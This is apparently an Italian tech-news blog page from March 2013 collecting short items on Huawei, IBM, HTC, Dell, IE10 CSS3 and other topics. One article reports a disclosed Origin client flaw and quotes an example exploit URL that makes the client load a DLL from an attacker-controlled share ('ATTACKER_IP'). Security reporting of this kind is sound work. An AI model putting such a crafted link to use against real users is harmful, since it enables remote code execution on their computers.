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Ad-Aware Free Antivirus

Written By Unknown on Selasa, 26 Maret 2013 | 23.47

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Ad-Aware è un software di scansione e protezione del proprio sistema che previene infezioni da varie tipologie di rischi quali data mining, scumware, advertising particolarmente aggressivo, malware, hijacking del browser e tracking dei comportamenti d'uso del browser. La versione free è disponibile solo per utilizzo personale in ambiente domestico e non come utilizzo commerciale.


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Huawei pronta all'annuncio di un nuovo top di gamma?

In accordo con le infromazioni diffuse in queste ore da molti siti web cinesi, il produttore Huawei sarebbe al lavoro su di un nuovo terminale che potrebbe presto guadagnare il posto ai vertici della gamma smartphone del produttore asiatico e competere direttamente con i nuovi Galaxy S4 e HTC One.

Il nuovo terminale Huawei potrebbe portare in dote l'ultimo nato tra i processori prodotti dalla stessa Huawei, ovvero il quad-core K3V3 basato su architettura Cortex A15 e operante alla massima frequenza di 1,8 GHz e equipaggiato con GPU ARM Mali T604.

Ad accompagnare il SoC in questione troviamo un quantitativo pari a 2GB di memoria RAM, un display da 4,9 pollici a risoluzione 1920x1080 pixel, fotocamera da 13 megapixel e batteria da 2600 mAh, un quantitativo decisamente importante soprattutto se considerato lo spessore della soluzione che dovrebbe essere di soli 6,3 mm.

Le voci parlano di un possibile annuncio già nel corso del prossimo mese di Aprile anche se, a nostro parere, annunciare un nuovo top di gamma a meno di tre mesi dalla presentazione del precedente, ovvero Ascend D2, potrebbe non essere una mossa adeguata. Allo stesso modo un annuncio in così breve tempo di un ulteriore modello porterebbe sicuramente a una considerevole diminuzione del prezzo dell'attuale flagship phone del produttore, a tutto vantaggio dei consumatori.

Non ci resta che attendere per verificare se effettivamente i piani di Huawei coincidono con quanto sopra riportato.


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Da IBM una nuova tecnica per la carica dei chip di memoria

IBM ha annunciato una nuova scoperta nel campo della scienza dei materiali che può preparare il terreno ad una nuova classe di memorie non volatili e chip logici capaci di impiegare meno energia rispetto alle soluzioni ad oggi disponibili.

Gli scienziati IBM hanno scoperto un nuovo modo per consentire l'operatività dei chip impiegando piccole correnti ioniche invece che i convenzionali segnali elettrici usati per i semiconduttori di oggi. Si tratta, in sintesi, di flussi di atomi con carica che possono imitare i modelli "event-driven" con cui opera il cervello umano.

I computer di oggi fanno uso di semiconduttri realizzati con processo CMOS (Complementary Metal-Oxide Semiconductor) che progrediscono ad un passo dettato dalla legge di Moore: le prestazioni dei processori, ed il numero di transistor, raddoppiano ogni 18 mesi. Tuttavia le tecniche utilizzate per sviluppare e costruire i chip CMOS stanno rapidamente giungendo ai limiti fisici ed è pertanto necessario individuare nuove soluzioni di sviluppo per realizzare dispositivi ad alte prestazioni e a basso consumo.

I ricercatori IBM hanno applicato un elettrolita ionico liquido caricato positivamente all'ossido di vanadio, un materiale isolante. In questo modo sono stati capaci di convertire il materiale verso uno stato metallico. Il materiale ha mantenuto il proprio stato fino all'applicazione di un elettrolita ionico liquido caricato negativamente, che lo ha riportato al suo stato originario isolante.

Gli scienziati di IBM hanno mostrato la possibilità di trasformare in maniera reversibile gli ossidi metallici tra stati conduttori ed isolanti con l'inserimento e la rimozione di ioni ossigeno guidati da campi elettrici all'interfaccia ossido-liquido. Una volta che gli ossidi, che sono isolanti, vengono trasformati in conduttori, IBM ha dimostrato mediante alcuni esperimenti che i materiali sono capaci di mantenere uno stato metallico anche quando viene tolta l'energia al dispositivo. Questa proprietà non-volatile permette la realizzazione di chip in grado di stoccare e trasportare informazione in maniera più efficente, seguendo meccaniche event-driven, invece di dover mantenere lo stato del dispositivo da costanti correnti elettriche.

Stuart Parkin, IBM fellow per IBM Research, ha spiegato: "La nostra capacità di capire e controllare la materia su scala atomica, ci permette di comporre nuovi materiali e dispositivi capaci di operare su principi completamente differenti rispetto a quelli su cui si basa la tecnologia dell'informazione oggi. L'impiego di dispositivi capaci di usare correnti ioniche per controllare in maniera reversibile lo stato della materia, ha il potenziale per la realizzazione di nuovi tipi di dispositivi mobile. L'impiego di questi nuovi concetti nelle nuove architetture tridimensionali potrebbe aiutare a prevenire che il settore tecnologico raggiunga un punto di stallo".


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HTC One, distribuzione ritardata a causa della nuova fotocamera

Come si era già vociferato nelle settimane passate pare che il nuovo top di gamma del colosso taiwanese HTC possa giungere sul mercato in ritardo rispetto alle iniziali previsioni. Secondo quanto dichiarato dalla compagnia asiatica ci sarebbero infatti dei problemi nel raggiungere i quantitativi necessari alla produzione di massa di uno dei componenti del nuovo One.

Parliamo della tanto decantata fotocamera dotata di teconologia UltraPixel proprietaria della stessa HTC. È lo stesso Benjamin Ho, chief marketing officer del produttore, ha confermare il problema riguardo il componente in una intervista rilasciata ieri al Wall Street Journal.

Il problema sarebbe dovuto al fatto che la nuova fotocamera è stata progettata specificatamente per il nuovo HTC One e ciò non permette una produzione così rapida da garantire il necessario quantitativo di componenti nei tempi prestabiliti.

Nel corso della giornata di venerdì il produttore aveva comunicato che HTC One farà il proprio debutto nel Regno Unito, in Germania e a Taiwan il prossimo weekend, mentre entro la fine di aprile dovrebbe raggiungere il Nord America, il resto dell'Europa e le regioni asiatiche.


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Dell, due proposte alternative da altri investitori

Si aprono nuovi possibili scenari nella vicenda che vede Dell impegnata nel processo di uscita dalla borsa: sul tavolo del consiglio di amministrazione sono infatti giunte due nuove proposte alternative all'accordo avanzato da Silver Lake Partners e Michael Dell che offrono agli azionisti la possibilità di mantenere le proprie quote nella compagnia. In questo modo Dell continuerebbe a restare quotata in borsa.

La prima proposta giunge ad opera di un gruppo che include Blackstone Management Associates, Boulder Acquisiton Corp, Francisco Partners III e Insight Venture Management. Con questa proposta vengono offerti agli azionisti più di 14,25 dollari per azione, valore considerato il minimo punto di partenza su cui costruire i negoziati. Si tratta di un'offerta con una maggiorazione del 4% circa rispetto ai 13,65 dollari per azione offerti dall'accordo originario di Silver Lake e Dell per il riacquisto delle quote della società.

La seconda offerta è invece stata avanzata da Ichan Enterprises ed include anch'essa una maggiorazione rispetto all'offerta originaria. In questo caso agli azionisti Dell verrebbero offerti 15 dollari per azione (il 10% in più rispetto alla proposta Silver Lake-Dell) e, come la proposta di Blackstone, gli azionisti avranno l'opzione di mantenere le proprie quote.

Nessuna delle due proposte, tuttavia, va a dettagliare una visione per il futuro dell'azienda, ma entrambe sono comunque al vaglio del consiglio di amministrazione dell'azienda. Alex Mandl, presidente del comitato speciale incaricato di valutare le proposte, ha commentato: "Siamo gratificati dal successo del nostro processo di vendita che ha ottenuto due proposte alternative con un potenziale per creare valore aggiunto per gli azionisti Dell. Intendiamo lavorare scrupolosamente con tutti e tre i potenziali acquirenti per assicurare la migliore evoluzione possibile per gli azionisti, qualsiasi sia la transazione".


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Verizon lancia nuovo portale gaming su tecnologia PlayPhone

La società con sede a San Francisco, PlayPhone, ha annunciato che il suo software development kit sarà alla base di un nuovo portale gaming che sarà lanciato sulla porzione Android del network Verizon. Il portale offrirà una grande visibilità agli sviluppatori di giochi mobile e godrà dell'efficienza dei metodi di pagamento Verizon.

PlayPhone

Per caricare i propri giochi sul portale, gli sviluppatori possono usare l'SDK PlayPhone, come annunciato al Game Developers Conference. Questo software permette agli utenti Android di mantenersi in contatto con gli amici e di sfidarli in sessioni di gioco con prodotti free to play o premium.

"L'SDK di PlayPhone mette a disposizione diverse funzionalità di tipo sociale avanzate, come consigli, inviti, classifiche, risultati, favorendo la scoperta virale dei giochi", si legge in un blog post ufficiale. "Inserito nella rete Verizon, Games Portal alimenta la crescita esponenziale dei propri giochi".

PlayPhone ha lanciato la sua rete di social gaming per smartphone nel mese di dicembre 2011, per poi ampliarla nel luglio successivo. A marzo ha comprato la società di mobile marketing SocialHour per 51,5 milioni di dollari.

PlayPhone ha creato un'app free to play che gira su iOS, Android e piattaforme HTML5. L'applicazione permette ai giocatori di socializzare tra di loro e soprattutto di impegnarsi in sessioni di gioco multiplayer accessibili contemporaneamente da utenti che dispongono di dispositivi con sistema operativi diversi.

Un utente Android, così, può giocare contro un utente di dispositivo Apple, ad esempio. Possono scambiarsi dei messaggi e chattare insieme. PlayPhone consente di fare l'autenticazione tramite il login Facebook e dispone di una valuta virtuale proprietaria, definita Playcredits. Gli utenti possono scegliere tra diverse forme di fatturazione e di pagamento anche su piattaforma chiusa come App Store.

Non è necessario uscire dal gioco per pagare per un bene virtuale e si può pagare in maniera indipendente rispetto al circuito Apple. PlayPhone ha rapporti con oltre 100 operatori globali, mentre è diventato partner per le fatturazioni negli Stati Uniti sia di AT&T che di Verizon.

PlayPhone è un competitor di grosse aziende come Gree e DeNA/Ngmoco, che sono leader del settore soprattutto in Giappone. È una compagnia più giovane che vanta ancora un numero inferiore di utenti rispetto alle aziende rivali. Si tratta, tuttavia, di una società in forte crescita, mentre i rivali cominciano a incontrare qualache difficoltà: recentemente, ad esempio, Gree è è stata costretta a chiudere OpenFeint.

PlayPhone ha ottenuto un round di finanziamento dalla cordata composta da Menlo Ventures, Cardinal Venture Capital, Coral Group e Scale Venture Partners, ma l'entità del finanziamento non è stata rivelata.


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Supporto CSS3 in Internet Explorer 10, una panoramica

Internet Explorer 10, come già anticipato nei precedenti articoli, ha introdotto il supporto a buona parte delle specifiche CSS3, proseguendo così l'iter iniziato con la release 9 del browser di casa Microsoft. Oltre alle funzionalità standard sono presenti anche numerose estensioni, denotate dal prefisso -ms-*, similmente a quanto fatto da Mozilla Firefox (-moz-*) e da Safari / Chrome (-webkit-* oppure -apple-*).

In generale, per lo sviluppo di layout web conformi agli standard, i Frontend Developers sono incoraggiati a fare uso esclusivamente delle funzionalità standard, cioè quelle senza prefissi. Tuttavia è possibile avvalersi di queste funzionalità aggiuntive qualora ce ne fosse la stretta necessità. Le funzionalità relative ai Layout:

  • CSS Exclusion. Consente di impaginare il testo in modo fluido intorno alle immagini o ad interi blocchi HTML.
     
  • CSS Regions. Implementano un meccanismo capace di spezzare un testo, o comunque un blocco HTML in più regioni o blocchi. Si rivela utile per l'impaginazione di layout molto complessi tipici di una rivista o giornale. Facilita, tra le altre cose, anche l'inserimento di immagini e spazi pubblicitari in modo dinamico all'interno della pagina, rivelandosi quindi molto comodo per lo sviluppo di pagine secondo i paradigmi del Responsive Design.
     
  • CSS3 Multi-column Layout. Consente l'impaginazione del contenuto su più colonne, senza doversi appoggiare a stratagemmi usati in passato, come floating divs o simili.
     
  • CSS3 Flexbox Layout. Consente di costruire un layout che si adatta a differenti dimensioni mantenendo le proporzioni tra le varie parti. Usato in congiunzione con il Multi-column Layout, consente di sviluppare interfacce Responsive con poco sforzo.
     
  • CSS3 Grid. Le Grid in qualche modo ricordano i layout implementati tramite tabelle, ma ripensati in modo diverso, e specificatamente sviluppati per suddividere le pagine in macroblocchi (header, footer, sidebar, content, ecc…), controllandone posizione e proporzioni reciproche in modo semplice.
     
  • CSS Device Adaptation. Da usarsi insieme alle regole CSS Media Queries per fornire layout differenziati in base alle dimensioni dello schermo.

Accanto a queste funzionalità sono state introdotte anche tutta una serie di effetti visivi, pensati per alleggerire le pagine da sfondi e file grafici pur mantenendo al tempo stesso una elevata capacità di espressione grafica, e sono:

  • CSS3 3-D Transforms. Consente di creare layout con deformazioni prospettiche in tre dimensioni.
     
  • CSS3 Animations. Controlli per animare qualunque proprietà CSS senza l'utilizzo di codice JavaScript. Usato in congiunzione con le trasformazioni 3D, consente di creare animazioni d'effetto che vengono generalmente accelerate in hardware tramite la GPU.
     
  • CSS3 Fonts. Una serie di comandi che consentono di usare abbellimenti tipografici, come le legature, usando font di tipo OpenType.
     
  • CSS3 Transitions. Una versione semplificata delle Animations. Consentono di specificare un valore all'inizio ed alla fine della transizione, la sua durata e la curva d'interpolazione da usare. A differenza delle Animations, però, non contengono keyframes, possibilità di mettere in pausa o di eseguire l'animazione al contrario.
     
  • CSS3 Text. Una serie di proprietà per definire l'ombreggiatura del testo e le regole per andare a capo nel paragrafo, spezzando opportunamente le parole rispettando le regole grammaticali.

Infine sono state introdotte ulteriori funzionalità come il supporto allo scroll e lo zoom tramite dispositivi touchscreen, sono stati rimossi i limiti al numero di stylesheet per pagina e altre funzioni previste per le applicazioni Windows Store ma non per il browser IE10 (ricordiamo che le applicazioni Windows Store possono essere sviluppate anche in HTML5 + JavaScript, sfruttando il motore di rendering Trident).

Per eventuali approfondimenti potete fare riferimento alla guida MSDN relativa al supporto CSS, ed anche alla lista completa degli elementi CSS supportati in Internet Explorer. Nei prossimi articoli vedremo come usare alcune di queste caratteristiche per ottimizzare le pagine HTML su schermi di diverse dimensioni, in particolare per l'ottimizzazione su smartphone, tablet e PC con varie dimensioni e risoluzioni.

Chiaramente, trattandosi di elementi CSS3, possono essere sfruttati non soltanto su Windows Phone e su Windows RT, ma anche su sistemi operativi e browser moderni di altri vendor, in particolar modo Chrome, Safari, Opera e Firefox per citare i più diffusi in ambito mobile. Le tecniche illustrate potranno pertanto essere riciclate anche per l'ottimizzazione dei siti su iOS, Android, BlackBerry 10 e tutte le piattaforme dotate di un browser moderno.

Articoli precedenti:

Parte 1. Internet Explorer 10, il browser del riscatto
Parte 2. Internet Explorer 10 e la compatibilità col passato
Parte 3. Modern.ie, un nuovo strumento di testing da Microsoft


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Vulnerabilità Origin consente l'esecuzione di codice da remoto

Written By Unknown on Selasa, 19 Maret 2013 | 23.47

Gli oltre 40 milioni di utenti di Origin potrebbero essere a rischio secondo le ricerche di un gruppo di programmatori italiani, che operano sotto l'etichetta ReVuln. La piattaforma di gioco online di Electronic Arts, infatti, consentirebbe a malintenzionati di eseguire codice sui computer dei giocatori in modalità remota.

Origin

L'attacco è stato dimostrato venerdì scorso in occasione della conferenza sulla sicurezza Black Hat che si è svolta ad Amsterdam. Servono pochi secondi per portare a termine la procedura e in alcuni casi non è necessaria alcuna interazione da parte delle vittime. L'attacco è basato sulla manipolazione del protocollo URL che viene utilizzato per l'avvio automatico dei giochi sui PC o sui Mac.

Sfruttando i difetti nell'applicazione Origin, sia nella sua variante Mac che in quella PC, quest'ultima può essere trasformata in uno strumento per attaccare gli utenti e installare silenziosamente malware sui computer di questi ultimi.

"La piattaforma Origin consente agli utenti malintenzionati di sfruttare le vulnerabilità locali attraverso il meccanismo di gestione degli URL", sostengono Donato Ferrante e Luigi Auriemma, i due ricercatori di ReVuln. "Un utente malitenzionato potrebbe creare un collegamento internet in modo da eseguire codice dannoso in modalità remota sul computer della vittima che ha installato Origin".

Ad Amsterdam, i due ricercatori hanno mostrato una demo in cui si vede come sia possibile eseguire codice da remoto su un computer con Origin e Crysis 3 installati. La piattaforma EA usa il link origin://LaunchGame/71503 per l'attivazione del gioco, ma anche gli utenti possono clickare su link come origin://LaunchGame/71503?CommandParams= -openautomate \\ATTACKER_IP\evil.dll. Nella demo si vedeva come in questo caso il client Origin caricasse una libreria a collegamento dinamico di Windows sul computer della vittima.

Electronic Arts, secondo quanto riporta Ars Technica, ha già inoltrato un comunicato ufficiale sulla faccenda. "Il nostro team indaga costantemente su problematiche come questa e aggiorniamo senza soluzione di continuità la nostra infrastruttura di sicurezza", è la posizione ufficiale di EA.

Si tratta di un attacco molto simile a quello dimostrato dagli stessi ricercatori nel caso di Steam. I due di ReVuln dimostravano come la piattaforma digitale di Valve fosse a rischio exploit per via del modo in cui gestisce il protocollo URL "steam://".

Grazie a protocolli di questo tipo si possono raggiungere delle pagine web in cui attivare un gioco o accedere a una particolare promozione, oppure per scaricare tool, leggere news, controllare i profili di altri giocatori. Ma con lo stesso sistema vengono gestiti altri tipi di comandi, come l'installazione e la disinstallazione dei giochi, la connessione ai server di gioco, l'esecuzione di un gioco.

In quell'occasione, i due ricercatori consigliavano agli utenti di disabilitare l'avvio automatico tramite gli URL "steam://". L'attacco attraverso Origin funziona, dunque, in modo molto simile, sfruttando la funzionalità che consente tramite web di avviare i giochi da remoto. Il comando che normalmente serve per avviare un gioco, infatti, può essere modificato al fine di indurre il PC a installare un programma dannoso.

Quando un link origin:// viene lanciato per la prima volta su un computer, i browser web tipicamente chiedono all'utente se vuole lanciare effettivamente il client Origin associato a quel tipo di link. I vari browser gestiscono in maniera differente questa operazione: alcuni mostrano all'utente il percorso web completo, mentre altri ne rivelano solamente una parte. Se l'utente conferma questo tipo di comportamento per il suo PC, allora tutti i link di quel tipo lanceranno la piattaforma Origin. In questo caso quell'utente non potrà più essere protetto da eventuali attacchi da remoto, e non serviranno ulteriori interazioni affinché avvenga la penetrazione di codice dannoso sul sistema. Gli utenti che vogliono mantenere un elevato livello di protezione dovrebbero invece assicurarsi che il sistema notifichi sempre del tentativo di lancio di un software associato a un URL di questo tipo.


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Un'app con un emulatore GBA nascosto all'interno

Volete giocare con gli storici titoli del Game Boy Advance su iPhone o iPad? Bene, allora scaricate Awesome Baby Names. Non abbiamo bevuto troppo: si tratta del nome dato all'applicazione in modo da ingannare il review team dell'App Store e fare in modo che venisse accettato quello che è a tutti gli effetti un emulatore, normalmente non consentito.

Awesome Baby Names

L'app, infatti, apparentemente è un generatore di nomi per bambini, ma con la pressione nell'ordine giusto di certi pulsanti consente di installare ed eseguire ROM di vecchi giochi per GBA. Bisogna premere tre volte nell'angolo in alto a sinistra, una volta nella parte centrale in basso e infine un'altra volta nella parte in basso a destra, come spiega l'immagine riportata in questa pagina.

Per far funzionare l'emulatore, inoltre, servono delle ROM, come nel caso di Gridlee. Questo è un altro emulatore, nella fattispecie per Mame, anch'esso disponibile su App Store, e funzionante senza aver bisogno di fare il jailbreak del dispositivo.

Awesome Baby Names costa € 1,79 ed è compatibile con tutti gli iPhone dal 3GS in poi e con tutti gli iPad. È ottimizzato per iPhone 5. Si può scaricare premendo qui. Bisogna affrettarsi, perché l'app potrebbe essere tolta dallo store a breve.

Awesome Baby Names


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Win7codecs

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Pacchetto che comprende codec audio e video specifici per l'utilizzo con sistemi operativi Windows 7. Queste le novità implementate nell'ultima versione:

- update LAV filters 54.1+
- update FFDshow 4500


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